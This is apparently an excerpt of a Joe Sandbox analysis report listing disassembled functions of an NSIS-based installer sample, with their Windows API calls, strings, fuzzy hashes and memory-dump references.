Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,76F93420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

